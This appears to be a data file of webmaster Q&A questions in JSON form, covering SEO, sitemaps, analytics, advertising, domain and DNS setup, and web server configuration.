{"id":"65793","title":"What is the best pratice to pagination to avoid duplicated content?","text":"The SEO department for the company I work for requested that the user comments on all pages should be paginated, and by this, generate a new URL, for example: **Original page:** foo.com\/bar.html (load first 10 comments) **Paginated page:** foo.com\/bar.html?page=1 (offset the 10 previous comments, and show more 10 comments - and so on) And when the user be in a paged URL, the canonical tag must point to the child URL, and not to the main URL. I honestly think this is not good, because of these reasons: 1. Comments made by users in most of times are useless content. And although I can't prove it, I'm pretty sure Google can detect what is your article and what is the comments on the page. So I think comments needs to be loaded via JS, and not printed on the HTML. (It would also reduce the page weight); 2. I think the canonical should be pointed to the main URL - and not the child URL. Since it's the very same content on every child page, and the only difference is that it will load new comments, but the main content is the same. 3. I would also add a NOINDEX, FOLLOW tag to every child page in order to make sure Google do not index any of my child pages and always prioritize the main URL. What are you thoughts about it?"}
{"id":"60906","title":"When does Google show images in search results","text":"When making a search on Google for something rather generic, Google might show image results above the list of organic search results websites, or in a top position. There would also be a link like \"More images for [search terms]. Are there any generally accepted rules regarding when Google shows images? What kind of searches does Google consider relevant for image results?"}
{"id":"15006","title":"baffling comment spam","text":"I've been seeing some odd comment spam on one of my sites. Odd because there are no links posted. Just, \"Wow, that's a really celevr way of thinking about it!\" or similar. Note the typo. The messages change but they almost always seem to have a typo. I'm wondering if that may be on purpose, perhaps as a way of tracking successful comments or some such (like subtly and uniquely altering several copies of a classified document to pinpoint who a leaker was). I've noticed that often one of the fields will be left empty, inluding the comment body. This suggests to me that this is a bot that's testing for honeypot fields. Anyway, the baffling thing about these is that there are never any links posted. I can't figure out what the point of this would be. Any ideas?"}
{"id":"47159","title":"Wordpress Category\/Tag Pages As Indexed Actually Help In Traffic?","text":"I several days ago somewhere read that category and tag pages should be noindexed. But later on somewhere else, I read that, they only increase rank for search term, but overall traffic decreases- said one from his experience. So, if I just concern about traffic, not about individual search term that much, should I make those category and tag pages as indexed to google? I am confused which is the best to do. Thanks in advance. Regards Rana"}
{"id":"65067","title":"Dynamic news showcase on homepage and impact on SEO and indexing","text":"I want to highlight the latest news of the week or month on the homepage of my website. On another page of my site, I have a complete and comprehensive list of the news that would duplicate what is on the homepage. So the news on homepage would be variable. In fact, I would have to remove each item after one month. Even if I have the same news URL links in another page, removing the URL links from homepage would affect heavily for Google indexing? Is there a possibility that I could lose position in the SERPs? This would practically make my site into a daily newspaper site!"}
{"id":"24709","title":"How can I get stats for what 3rd-party sites have embedded our iframe widget?","text":"Say we've produced a widget for other sites to use, like so: <iframe src=\"http:\/\/example.com\/whatever.php\" frameBorder=\"0\" width=\"200px\" height=\"300px\" scrolling=\"no\"><\/iframe> The client would like to be able to see within GA who has embedded the thing. Is there some referer information automatically passed that I can look for, or do I need to add something? `whatever.php` is already loading the analytics Javascript(we're also tracking clicks on an outbound link). **[EDIT]** Looking around a bit more, I found what seems to be a similar question on SO with an answer saying this can be found, automatically, but I still can't seem to find the information. The question's also old enough the respondent is probably referring to the old interface, though. Maybe someone could explain getting to it in the new look. (I won't likely be able to train this client to switch, deal with the old look, etc.)"}
{"id":"24704","title":"Confirm that someone has Google +1 'd a link","text":"I'm considering a campaign for my existing customers that would offer them a discount on products when they +1 our site. Is there a way to prove that someone has +1'd our site?"}
{"id":"59302","title":"Sitemap.xml \/ Update Frequency + Priority 0","text":"I'm working on building sitemaps and am not sure what should and should not be added. For example: `https:\/\/www.website.com ` `https:\/\/www.website.com\/en\/ ` `http:\/\/www.website.com\/index.php ` `http:\/\/www.website.com\/en\/index.php` All of these URLs lead to the same page. _https:\/\/www.website.com\/ is the preferred address._ **Should I write all of these variations in the sitemap and assign the nonpreferred ones an update frequency of never, priority 0. Or simply not include them in the sitemap at all?** Nearly every link on the site could be reached with a similar combination. Similarly, I have many links that contain parameters https:\/\/www.website.com\/en\/catalog?utm_source=Blog&utm_medium=CTA&utm_campaign=Test **Should these be in the sitemap with the same update frequency never, priority 0 or simply not included?** The documentation I've read, says that the sitemap is used to teach the search engine about your site and give priority to pages, so it makes sense to me that I would want to add all of these links so I can explicitly educate the search engine NOT to bother checking these links. ## Additionally The site contains a catalog of products which can be filtered through in multiple ways (by color, and size for example). Each filter changes the url like such: `The main catalog: ` https:\/\/www.website.com\/catalog\/ `filtered for blue: ` https:\/\/www.website.com\/catalog\/color-blue\/ `filtered for large: ` https:\/\/www.website.com\/catalog\/large\/ `filtered for blue & large:` https:\/\/www.website.com\/catalog\/large\/color-blue\/ With three types of filters and 5 to 15 options for each filter, this potentially creates 75 different links which essentially display the same content. Should all of these potential links be listed in the sitemap, only the main catalog link, or only the first level of filter links, or every potential URL?"}
{"id":"24702","title":"Service for accepting short video clips as part of official documents?","text":"I am looking for a service that can accept short video clips flexibly and convert to an archival format. So the process would be: * Person in the field uploads a video by: 1. Smartphone upload 2. Upload from camera via laptop 3. Upload from browser via Flash * Service normalizes the video to some standard format (AVI? with standard quality) * Service generates a thumbnail and embeds in a larger report * Thumbnail is clickable to get the larger video These are private, assessment videos, so they need to be confidential. Most of the online services out there (YouTube, Vimeo, etc) do parts of these, but don't have a commercial or archival component. Ideally the service would have an API, but if it satisfies the bullet points above a \"self-serve\" YouTube quality would be great. I did searching and mostly I've found components limited by browser (ActiveX controls and such) or not allowed to be private. I'd prefer to buy a service rather than reinvent this wheel. Thanks in advance!"}
{"id":"65265","title":"Transfer domain fails due to Extensible Provisioning Protocol (EPP)","text":"So I'm trying to transfer the hosting for a domain from Biz.nf to Bluehost. The domain was originally registered with Biz.nf. The domain is unlocked, and so is ready to transfer. However, I need the EPP, and that is where the problem comes in. For whatever reason, the current domain registrar is Wild West Domains (GoDaddy), despite the fact that I have never dealt with them. How exactly did this happen, and what can I do to get the EPP."}
{"id":"8296","title":"Menu icons in Drupal?","text":"How do I get menu icons in drupal? I have the menu icons module....but are there menu icon themes or packs or something? I am using the deco theme, and want menu icons like thus:  What is the easiest way to do this?"}
{"id":"65263","title":"Thousands of backlinks from Meetup.com","text":"I have been wondering something for a while now. We have a manual penalty from Google on unnatural linking. When I check out \"Links to your site\" in Webmaster Tools we have 11,387 links from Meetup.com. Is this harming us? After clicking through some of the links randomly I have discovered it is from one of our dealers that sells our products. He is sponsoring different groups and so the ad appears, the problem is he is linking back to our site and not his own. The anchor text is all the same it never changes."}
{"id":"49142","title":"Attaching an Google AdWords conversion to a campaign","text":"In Google AdWords, I've created a conversion and put the script onto my webpage but now I don't know how to connect this conversion to a campaign, so that it shows up on the table for the campaign data. How do I do that?"}
{"id":"22012","title":"Rel = translation","text":"I can't find much online about rel=\"translation\" We have tutorials and manual entries which we are going to get users to translate. If the original page in English is: http:\/\/www.scirra.com\/tutorial\/start And there are two translations: http:\/\/www.scirra.com\/tutorial\/es\/start (spanish) http:\/\/www.scirra.com\/tutorial\/de\/start (german) How would I correctly link all these up? I'm aware at the top of the page I would need to specify the correct IS639-1 code: <html lang=\"de\"> But I'm more interested in letting Google know they are not duplicates but are translated."}
{"id":"22016","title":"Strange issue with Wordpress sites, is it PHP Memory?","text":"This has happened to me twice with the same host and I want to know the real cause. I have multiple wordpress sites hosted on a shared server. One day when I attempt to visit any of the sites, the webpage simply downloads the index.php file. It happens on all wordpress sites but not on static sites hosted there. I understand this is a php issue on the server, but what could be happening specifically? the only thing I could find when searching is something to do with memory limits. Is this common? Should I be worried about this host?"}
{"id":"27898","title":"Abnormal Alexa score: the more popular site has a worse rank","text":"I have 2 websites of ecommerce in France and for these websites I have a strange behaviour of the alexa results. Here are some statistics about the websites : **Unique Visits January 2012** * Website A : 158,828 * Website B : 58,867 **Number of Search Results google** * Website A : 5,100 * Website B : 56,000 **Links to my site** * Website A : 3,120 * Website B : 2,180 **ALEXA Score** * Website A : 405,804 * Website B : 278,944 How does it come that website B with 1\/3 of the visitors of website A have a much better Alexa Score ( x2 ) then website A?"}
{"id":"43975","title":"Google Authorship not displaying","text":"A few months back I set to the task of verifying my blog content for Google Authorship. I'm fairly confident I've ticked all the boxes and when I test my posts with the Google Structured Data tool it informs me that Authorship is working for this webpage. It has been like this for around 2 months but I am still not seeing my authorship profile in the search results. Do a search for \" **jQuery Parallax Scrolling Tutorial** \" and you will see my blog post near the top of the results but no authorship data. _**Can anyone suggest why this is not appearing when Google itself tells me that everything is in order?_** Thanks"}
{"id":"53954","title":"Why has my authorship image been removed from Google SERPs","text":"I recently added the relevant tags to my site and validated my email for Google Authorship. After around a week my image started showing up with results. Today the image is no longer present and I haven't changed anything. The Structured Data Testing Tool results show that it should all be working. Have I missed something or does anyone know why it would stop displaying? Other questions ask about situations where the image has never appeared. My image has appeared but has since stopped appearing so is a different situation."}
{"id":"55972","title":"Google Authorship - mugshot not showing","text":"I've set up Google+ authorship for my photography blog, and used the Google Structured Data Testing Tool to verify the following: * Authorship is working * Authorship email verification is working * rel=author markup has successfully established authorship for this webpage. * Publisher markup is verified for this page Unfortunately my authorship information is not showing in Google search results. Could it be that the latter on my list above (Publisher markup verification, which is set to use my _business_ page as opposed to my personal page) could be causing some form of interference? It's my understanding that blog posts may only be linked to a Google+ personal profile, not a business page, but that you can set up Publisher markup for a business page."}
{"id":"44002","title":"Microformatting accepted, then ignored","text":"I have implemented microformatting in one of our websites for our address, breadcrumbs and reviews that we collect from our customers. After we launched the new website using the microformatting Google accepted all and produced perfect formatted rich snippets. After about a month all got ignored and queries returned 'normal' snippets again. The Rich Snippet Testing tools indicates all is marked up correctly. Is there anything else I can do? What is the best practice in this matter?"}
{"id":"2308","title":"What is \"?sfgdataq\" that I see appended to some requests to my application?","text":"I have noticed that a small number of requests come through my application with ?sfgdataq appended to them, I probably wouldn't have ever noticed it if it didn't cause an error on some requests. I have seen requests come through with a mix of user agents, (Firefox, IE 7, IE 8) so I don't think it is a bot. I looked around and I can't find any information on what is doing this, I found a couple people with similar questions on message boards (so I don't think it is isolated to my application) but no good answers. edit: I also noticed that the User Agents have some sort of large random value appended: +sfgRmluamFuX1R5cGU9amF2YV9zY3JpcHQmRmluamFuX0xhbmc9dGV4dC9qY is a sample - searching for that on google turns it up in other logs as well."}
{"id":"49063","title":"Putting duplicate phrases in the headings of pages","text":"If I have a local business that repairs only HP computers for example, and I write lots of good informative pages about all the different things that can be repaired on HP computers such as motherboards, screens and keyboards, should I make the `h1` headings of my pages: * Motherboard repair for HP computers * Screen repair for HP computers * Keyboard repair for HP computers or * Motherboard repair * Screen repair * Keyboard repair ? What different does it make to search engines? If the first option is a bad idea, how should I make sure to communicate to search engines that my business specializes in HP computers?"}
{"id":"13619","title":"What to set for AllowOverride & Options","text":"What is normally used as settings for both production or development servers for settings `AllowOverride` & `Options`? I will be needing to use .htaccess for WordPress so things like mod_rewrite etc"}
{"id":"43077","title":"How can I change the location of my ip address to specific citiies\/places when browsing?","text":"I am based in Europe and I would like to test my website as if I am located in New York. I have some specific features that will be visible based on cities."}
{"id":"43469","title":"which favicon gets loaded in the browser?","text":"currently i am experimenting with 2 favicons and including them in 3 different ways in my markup, however i am not sure which one gets loaded in the browser. firebug's network tab doesn't tell me which one it downloaded. <link rel=\"icon\" type=\"image\/png\" href=\"favicon.png\"> <link rel=\"shortcut icon\" href=\"favicon.ico\"> <link rel=\"apple-touch-icon\" href=\"favicon.png\"> where favicon.png is 144x144px and favicon.ico is 16x16px. idealy i want all browsers to use the png instead of ico whenever they support it, and just fallback to ico for ie. i am not sure how to verify if the code is already doing this or not."}
{"id":"4721","title":"What tools to use for efficient link building?","text":"As most SEO experts keep saying, it is not just the content that you have - but also a hefty amount of _quality_ incoming links to your content that is important - these are the two ways to get to the top of the search results. The question is where do I find the incoming links? One way I know is Google blog search, it can be used to find blogs with related information to your content and some allow to leave comments. The comments usually consist of your name, e-mail and website. If you put your keyword instead of your name, then the keyword turns into a link to your website. Unfortunately most blogs put the `rel=nofollow` attribute on such links, but some blogs don't do that. What other ways are there to **find quality pages to put keywords links** back to your website? Quality link usually means: * located on a page with relevant content * does not have a `rel=nofollow` attribute in the `<a>` tag * has a relevant keyword as in `<a href=\"website\">keyword<<\/a>` * the page with the link has high PageRank (3+) and TrustRank"}
{"id":"57023","title":"Suitable ad service \/ Ad-revenue model for my one-time use high traffic website?","text":"I'm about to launch a website to which I expect a high number of visitors and lots of traffic. However, this traffic will only last for a few days once the joke has been passed around enough (in the past, my sites like this have gotten up to five million hits). I've never advertised on them (they've been purely for fun or for some subliminal political message) but I was thinking perhaps there was money to be made. I checked out AdSense, but they have a long approval process, which the timing for my website release doesn't allow. Does anyone have any recommendations of an advertising service I can employ to make a few bucks on my site's surge of traffic, and that can be set up quickly?"}
{"id":"47921","title":"Alternative to Google Adsense","text":"I have a web dev blog which averages ~100 uniques per day, on which I have a few ads here and there via Google Adsense. These ads generate around £5 per month for me. While I'm not out to make money, it would be nice to be able to cover my hosting and domain costs. Can someone recommend a good alternative to Google Ads which could bring in a little more? If so, could you also detail your experience with as much info as possible, please? Again, I'm not looking to make money off my blog but if I have ads on there, I may as well get the most out of them and if I can turn that £5 a month into £10 a month, it's a good start. I'm very naive to the world of online ads and any search on the topic returns clearly promoted posts with impossibly high numbers."}
{"id":"5843","title":"Why don't my Google Analytics custom segmentation visit numbers match up?","text":"I have three main areas of my site and want to track total usage as well as breakdowns of the three parts. I am trying to segment the \"type\" of use on each page using a custom variable as such: ['_setCustomVar',1,'Visitor Type','Unknown',1] Visitor type can be one of three values: \"Unknown\", \"Reader\" or \"publisher\". Every page has this value set. Now when I look at my analytics chart and chose all three segments, the individual values do not match the sum. I've double checked the pages to make sure the custom var is there. "}
{"id":"16062","title":"What does \"Other\" mean for Traffic Source on Google Analytics?","text":"I logged into Google Analytics today and under 'Traffic Sources' saw: \"Referring sites\", \"Direct Traffic\", \"Search Engines\" and \"Other\". I've never seen 'other' before, and it was small (only 0.5%), but what does \"Other\" mean?"}
{"id":"2335","title":"What is your favourite javascript lightbox implementation?","text":"There are so many implementations of the lightbox, which is your favourite to use for your custom site? (javascript based) I generally use Lightbox2"}
{"id":"19708","title":"Which method is the best to specify the language of a page?","text":"There seems to be two ways to specify the language of a page: <meta http-equiv=\"Content-Language\" content=\"en-us\"> and <html lang=\"en-us\"> Which one is the preferred way? I know I could just add both tags but I'd rather not have duplicate content. Also do both methods use the same locale format (i.e. \"en-us\" and not \"en_US\")?"}
{"id":"5849","title":"Google Traffic Does Not Add Up","text":"I have just done a search for two different keyword phrases. When I look at both of the results, they have the same number of \"Local Monthly Searches\" according to the Keyword Tool in Google Adwords which is 90,500. This is an \"exact\" match for the keyword phrases. I currently and have ranked in the #3 spot for both of these keyword phrases for almost a year now. TRAFFIC RESULTS - One site gets 2500 visitors a day and the other gets 100 visitors a day. WTF? Why such a disparity in the number of visitors per day when both sites are ranking #3? It doesn't make me trust the numbers from the Keyword Tool in Google Adwords when they are so ridiculously off like this."}
{"id":"5848","title":"How to create an overlay div using CSS only (no Javascript)?","text":"I'm trying to figure out how to create a div that overlays the page, staying in one place when the page scrolls, such as used in this article: Top 5 Botched PC Game Launches. (You will see a bar at the top that doesn't move, with the logo, _where gamers call home_ ). I'm not even sure what the correct terminology is - it's probably not overlay :) But whatever it is, it appears to be done with CSS only, as it shows up when Javascript is disabled."}
{"id":"56826","title":"Do I set a DNS A Record for the new GitHub Pages to use their CDN?","text":"GitHub updated their Pages service for custom domains yesterday and I'm not clear on one small detail. They recommend a CNAME record for `www.example.com` but do not recommend using A records for the apex domain. I want to make sure both `example.com` and `www.example.com` resolve correctly to `www.example.com`, and **also get the benefit of GitHub's new CDN**. Do I use a CNAME for www only then, with no A record at all? This feels like a dumb question as I type but I'm just not getting it."}
{"id":"17622","title":"How do I get a page on my site to appear in the \"video results\" section","text":"Direct Lyrics appears at the top of these search results as a \"video result\" (next to an inviting thumbnail). But the page in question is just a page of lyrics with an embedded YouTube video. My lyrics site has embedded YouTube videos on its lyrics pages as well; how can I get my site into the video results section? "}
{"id":"4803","title":"The Sitemap Paradox","text":"We use a sitemap on Stack Overflow, but I have mixed feelings about it. > Web crawlers usually discover pages from links within the site and from > other sites. Sitemaps supplement this data to allow crawlers that support > Sitemaps to pick up all URLs in the Sitemap and learn about those URLs using > the associated metadata. Using the Sitemap protocol does not guarantee that > web pages are included in search engines, but provides hints for web > crawlers to do a better job of crawling your site. Based on our two years' experience with sitemaps, there's something **fundamentally paradoxical about the sitemap** : 1. Sitemaps are intended for sites that are hard to crawl properly. 2. If Google can't successfully crawl your site to find a link, but is able to find it in the sitemap _it gives the sitemap link no weight and will not index it!_ That's the sitemap paradox -- **if your site isn't being properly crawled (for whatever reason), using a sitemap will not help you!** Google goes out of their way to make no sitemap guarantees: > \"We cannot make any predictions or guarantees about when or if your URLs > will be crawled or added to our index\" citation > > \"We don't guarantee that we'll crawl or index all of your URLs. For example, > we won't crawl or index image URLs contained in your Sitemap.\" citation > > \"submitting a Sitemap doesn't guarantee that all pages of your site will be > crawled or included in our search results\" citation Given that links found in sitemaps are merely _recommendations_ , whereas links found on your own website proper are considered canonical ... it seems the only logical thing to do is _avoid_ having a sitemap and make damn sure that Google and any other search engine can properly spider your site using the plain old standard web pages everyone else sees. By the time you have done _that_ , and are getting spidered nice and thoroughly so Google can see that your _own site_ links to these pages, and would be willing to crawl the links -- uh, why do we need a sitemap, again? The sitemap can be actively harmful, because it distracts you from ensuring that search engine spiders are able to successfully crawl your whole site. \"Oh, it doesn't matter if the crawler can see it, we'll just slap those links in the sitemap!\" Reality is quite the opposite in our experience. That seems more than a little ironic considering sitemaps were _intended_ for sites that have a very deep collection of links or complex UI that may be hard to spider. In our experience, the sitemap does not help, because **if Google can't find the link on your site proper, it won't index it from the sitemap anyway.** We've seen this proven time and time again with Stack Overflow questions. Am I wrong? Do sitemaps make sense, and we're somehow just using them incorrectly?"}
{"id":"56778","title":"Do I need to produce an xml sitemap for a social network?","text":"I'm working on a social network that currently does not have an xml sitemap that has been submitted to Google Webmaster Tools. Will this add much benefit given that it is a social network with often updated content? If so will I have to update it daily (or use a tool to do so)? Thanks"}
{"id":"49549","title":"Do you really need robots.txt and sitemap.xml if I want bot to follow every link?","text":"I wonder if I really need _robots.txt_ \/*sitemap.xml* files if I want bots to go through every link on my website without any restrictions? And if I do, what should I write in there?"}
{"id":"58636","title":"How to make Google index all sitemap.xml records?","text":"I have a _sitemap.xml_ index fine with 3 XML files in it with around 120 pages for indexing. A year passed and I still have 1\/3 of it indexed. All the most important pages for indexing are in 1st sitemap file, however Google takes a similar amount from each of the sitemap files instead... How to make Google index all _sitemap.xml_ records? I have crawl rate set to MAX in GWT."}
{"id":"3749","title":"Is there a googlebot equivalent for RSS feeds?","text":"I have a lot of feeds generated on my pages - and it seems to let them go to waste (Googlebot does not seem to see them). The RSS feeds display correctly in the pages when viewed through a browser, so I know they are working correctly. Is there a way where I can somehow make the RSS feeds 'discoverable' by the world? (so I can drive traffic to my site?)"}
{"id":"3746","title":"How to charge for banner ads in a web application","text":"I'm developing a web application which contains banner ads, and I don't know how to teach my clients how much to charge their customers for banner ads. Can someone help with a book or business strategy?"}
{"id":"57966","title":"Error while importing .sql file in phpMyAdmin","text":"Getting error while importing `.sql` file in phpMyAdmin please help. Error SQL query: CREATE TABLE `sbbleads_admin` ( `sb_id` BIGINT( 20 ) NOT NULL AUTO_INCREMENT , `sb_admin_name` VARCHAR( 255 ) DEFAULT NULL , `sb_pwd` VARCHAR( 255 ) DEFAULT NULL , PRIMARY KEY ( `sb_id` ) ) TYPE = MYISAM ; > MySQL said: Documentation > > 1064 - You have an error in your SQL syntax; check the manual that > corresponds to your MySQL server version for the right syntax to use near > 'TYPE=MyISAM' at line 6"}
{"id":"3742","title":"Confirm (enter twice) pw and email at registration - good idea?","text":"Many sites seem to require that their users enter their email and password twice during the registration process. How useful is it really? It seems it could be a pain in the neck for many users, for limited gains, no? Thanks, JDelage"}
{"id":"62959","title":"Google Analytics: View for Affiliates: How to include only one brand in E-commerce module?","text":"I am trying to create a view for a partner that is selling their products on our site. I assumed that filtering their brand name with **_E-commerce Item Name_** would result in the same report as filtering their brand name by **_Product_** in **_E-commerce_** > **_Product Performance_** report, but it didn't. How should I approach creating a view, which would include only e-commerce data related to their products?"}
{"id":"3741","title":"Looking for usability studies of user authentication methods and interfaces, do you know of any?","text":"Been having issues with stackexchange creating weird usernames for me and grouping them with my account, it appears to be a known issue, and emailed the stackexchange team... which leads me to my questions, I'm looking for usability studies of user authentication methods and interfaces, do you know of any?"}
{"id":"4622","title":"Nameservers at freehostingcloud","text":"How can I change the nameservers at freehostingcloud? I got a message: You need to change the nameservers for your domain exampledomain.net. The nameservers should be ns1.freehostingcloud.com and ns2.freehostingcloud.com."}
{"id":"4627","title":"How to stop Google indexing both www. and no-www versions of my website","text":"When I do a search of my site in Google it shows both: * `mydomain.com` * `www.mydomain.com` In my .htaccess file I added code to redirect the non-www version to the www version, but both versions are still showing in Google's search results. _**Is there anyway to have Google only show the www version?_**"}
{"id":"11019","title":"Adding custom handlers","text":"I have a number of D language programs (.d extension) and a compile-and-run tool (rdmd)--I'd like to configure Apache (version 2.2) to handle URLs such as \"mysite.com\/d\/hello.d\" by running rdmd with the requested resource. The programs do output valid HTTP headers. I've researched AddHandler and Action, but have been unsuccessful in getting them to do what I want, namely executing rdmd with the resource. I suspect that the problem is that rdmd needs to be in some special cgi directory. Can someone walk through the steps necessary to configure Apache on a Debian based system, such that it executes my files instead of offering them up for download? Directory specific ('\/d') or site-wide execution are both fine."}
{"id":"53677","title":"Strange domains as a blog's traffic sources","text":"Watching my Blogspot analytics i saw several strange-looking domains, like bd053ac3.any.gs and others. So trying to identify them i got the following: bd053ac3.any.gs - shows \"Link not found\" page any.gs, dyo.gs - goes to linkbucks.com Yes, my blog uses AdSense, but i don't advertise it. So i wanted to understand why this can happen? "}
{"id":"43686","title":"Is offering Google Bot a lite version of site skin considered cloaking?","text":"If you have multiple templates a user can choose from on a site (like a forum), and you offer Google Bot a \"lite\" skin, is this considered cloaking? Or is this considered okay? The actual content remains the same, though the exact definition of \"content\" by Google seems questionable."}
{"id":"53674","title":"Website not loading completely","text":"I have a client on Fiverr and had ordered me a job to design a website and upload it. I completed the site using wordpress and uploaded to his godaddy server. The problem is that, He says the website doesn't load in his PC ( and he is using Mac). The page displays only the black background. And he even tried on some of his friends' PC and got the same problem. But the site is OK and I can access it and I tried it in different PCs. The screenshot he showed to me was from the Safari browser. I am a windows user and haven't tried in safari. What could be the problem? Why isn't the site loading on the Clients PC? The site is: Above & Beyond Escorts The screenshot provided by the client is: "}
{"id":"59362","title":"Is there any value in reposting someone else's article?","text":"Say you get permission from the article's author to repost his article on your own site, and give a link back to the original author; is there any SEO value?"}
{"id":"30854","title":"How do I ask google not to index certain parts of my page?","text":"> **Possible Duplicate:** > Preventing robots from crawling specific part of a page I was searching for an old review on my site today and I noticed that Google is indexing the headline text in my latest article list on every page that it appears, obviously I guess. The problem is if I search for my Dragon's Lair review specifically to my site like this http:\/\/www.google.co.za\/search?sugexp=chrome,mod=9&sourceid=chrome&ie=UTF-8&q=site%3Alazygamer.net+dragons+lair+review Then it returns a ton of pages that aren't appropriate as they aren't related to the review at all. The reason why I care is that I have a second Dragon's Lair review that was posted years ago and now I can't find it. Is there a way to hint to google that certain text isn't relevant to the actual content on the page? is it a terrible idea?"}
{"id":"35486","title":"Keep search engine from indexing specific content on your site","text":"> **Possible Duplicate:** > Preventing robots from crawling specific part of a page I've got a pretty weird scenario that I was wondering someone could help me out with. I recently created a blog site and noticed that search engines have been including the content of my footer in with the description. This presents a problem because my footer is basic a brief legal statement saying that the views are my own and don't represent the company I work for (and yada yada yada). So, basically, I need a way to prevent search engines from indexint that content in my footer or even my footer altogether. I've been looking back through some of my SEO books and searching through forums but this doesn't seem possible. 1. Is it possible to keep search engines from indexing only certain content on a page? 2. If it isn't possible, what alternatives are there to ensure this legal mumbo jumbo doesn't show up in the results?"}
{"id":"16395","title":"my website redirected by someone else","text":"First of all i cant find true forum to post ,but i need a very quick help. I have registered a domain name with godaddy couple of days ago , but today, after i post my domain name for appraisal, it was redirecting to another domain name with just diffrent tld. extension Am i hacked? How can i resolve this problem? (domain manager shows its already parked to godaddy there is no problem with name servers they are allright but still redirecting the domain) windsurf.ws redirecting to windsurf.lv"}
{"id":"15060","title":"Hidden text and search engine rankings","text":"I am using hidden texts in one of my websites for better search engine ranking. After browsing the web, I found it better not to use hidden text. Does using hidden text of keywords in webpage affect rankings? Does Google block such types of site that use hidden text like same color of font as background."}
{"id":"36320","title":"Does google crawl css scripts to check of hidden content","text":"> **Possible Duplicate:** > hidden texts and page rank Does googlebot crawl CSS scripts to determine if content is hidden or not? If so, is it advisable to hide or not to hide content to improve on the SEO of a page. My main reason for asking is that I would like to improve on my ranking for certain keywords."}
{"id":"59360","title":"\"County\" showing up as top keyword due to drop down menu. Should I take steps to fix?","text":"We have a database of dealers by state and county. It gets put into a dropdown form using `<option>` Currently it shows : `Select County: First County Second County ` So on as a drop down. As a result Google Webmaster Tools is showing the top content keyword as County, by a long margin. All of the other keywords look fairly accurate. Will having County at the top have negative impact on search results or since the others are alright it won't make any difference?"}
{"id":"51109","title":"New or same URL on reactivation of user generated content?","text":"We run a classified ad website. Our users can temporarily deactivate their classified ads. From a SEO point of view, when they reactivate it, should the ad use the same URL or use a new one? Each choice has its issues: duplicate content, removed from Google index, etc. Few details: * when inactive, we return an HTTP 404. * reactivation can be done only during 30 days. * if no reactivation during the 30 days, we serve an HTTP 410. PS: How is(was) eBay doing it? When expired, the page is not searchable within eBay, but can be accessed with direct link or from Google. Some details are removed and it is labeled as \"closed auction\". Pro: the main content can still be crawled by the bots. Con: the user does not like that his auction is still findable from Google."}
{"id":"20886","title":"Moving to a custom domain in blogger spoiled my pagerank. Need help?","text":"I had www.chankeypathak.blogspot.com as my blog on Blogger. I then purchased a domain www.chankeypathak.com and then I followed the procedure of redirecting all old pages to new ones (301 redirect). Everything is working fine. But the only problem is that I have lost my pagerank. Before it was 2 for www.chankeypathak.blogspot.com and now it is showing unranked for www.chankeypathak.com How can I get my pagerank back?"}
{"id":"34380","title":"adsense leaderboard 728x90 for mobile?","text":"I use the same html for both desktop and mobile version of my site, with a different css. The problem is the 728x90 leaderboard that doesn't fit into my mobile version layout. Is there a suggested way (by Google) to replace the 728 with a smaller adsense banner?"}
{"id":"20734","title":"What kind of information can websites collect about a user\/client?","text":"This is a multi-part question: 1) What kind of information can websites collect about someone (someone's computer or device) when they visit your website? I know we log IP's, and can determine your zipcode, OS, browser type and native language but what else? 2) Is there any information collected and logged by the website that can be used to trace a connection back to a specific computer? Do computers, devices and phones, etc send some kind of unique ID to a website? I understand that law enforcement may be able to do this, but can this be done by a webmaster? 3) If someone attacks our website like a denial of service attack can we get the identity of or ban a specific computer\/device? Or does someone like the FBI have to be enlisted to trace an attack to a specific device? I know we can ban IPs. I am sure this question has been asked somewhere before but I have had no luck finding an answer. I tried searching for this here and through google but I don't think I know the proper search terms. Please use laymen's terms as I am not particularly web-savvy."}
{"id":"20739","title":"Google search : pubdate issue","text":"At some point this year, **Google Search** started to show the **publication date**. When I updated my website, I noticed that the publication date was actually my birthday, simply because it's the first date **googlebot** encounters. I can't delete it because it would defy the whole _\"My website is my Resume\"_ idea. I tried to solve the problem by wrapping it in **address** tag and putting the date in **time** tag with **datetime** attribute, but it didn't work out. <address> <ul> <li> Porte à Camp 5 <br\/> 7971 Basècles <br\/> BELGIQUE <\/li> <li> <time datetime=\"1984-01-29\">29\/01\/1984<\/time><br\/> Belge\/Russe <\/li> <li> +32 (0)493\/.49.18.23<br\/> <span id=\"mail\">razine.ivan<\/span> | <a href=\"http:\/\/bit.ly\/qzITgb\" class=\"red\">Télécharger CV<\/a> <\/li> <\/ul> <\/address> So far, the only way I could solve it is by deleting **q=show+the+publication+date** from the url. I have no clue how to fix that. Any ideas? This is my web page: ivanrazine.be And this is the search result (4th position): google search"}
{"id":"59366","title":"Tracking Keyword user used to get to website","text":"Is there a way we can add the ability to track what keywords the user has used to end up on our website? i.e. If they type in Software into google and our site pops up in the SEO list, when they click on it I want to log an entry into our db from logic in the home page to say the user used keyword 'Software' and also maybe offer some different features on the home page depending on the keyword used. Thanks"}
{"id":"68774","title":"How can i find the most popular searches in Google that contain my keyword?","text":"How can I find a list of the most popular searches in Google that contain my keyword, E.g If I want the most popular containing \"Paris\" or \"London\""}
{"id":"49229","title":"SEO of A\/B testing","text":"Let's say I have a production site for my company, and I have a page on it called \"ERP\" about our company's ERP-related services, and at the bottom of the page, I have a \"call to action\" sentence, something like \"Enter your email address here for a free ERP services consultation\". But I want to present site visitors one of 10 different \"call-to-action\" sentences in that space, maybe randomly, in order to see statistically which sentence gets the best response. What are some ways I could keep this from hurting my SEO?"}
{"id":"25543","title":"Google analytics referral path","text":"I run a website at the domain http:\/\/www.turkishbasics.com . Google Analytics is however showing the referral path of some of my traffic to be the domain itself (turkishbasics.com). How is this even possible? I've just recently moved my site from a .tk domain and this never used to happen before. I've used php 301 redirects to get traffic to the new domain."}
{"id":"25548","title":"Setting up an email only domain","text":"I want to set up an email address with a custom domain. What would be the best way to do this ? My only real requirement is the email address, the service may be hosted or just email forwarding. Is it possible to just buy the domain and use some other services to set up the email ? **P.S:** A cost estimate and references to any how-to's would be great"}
{"id":"171","title":"How do I compress my JavaScript and\/or CSS?","text":"I know that there are ways to dynamically load it into the page, but if I want to compress my code so it loads even faster, how do I do it?"}
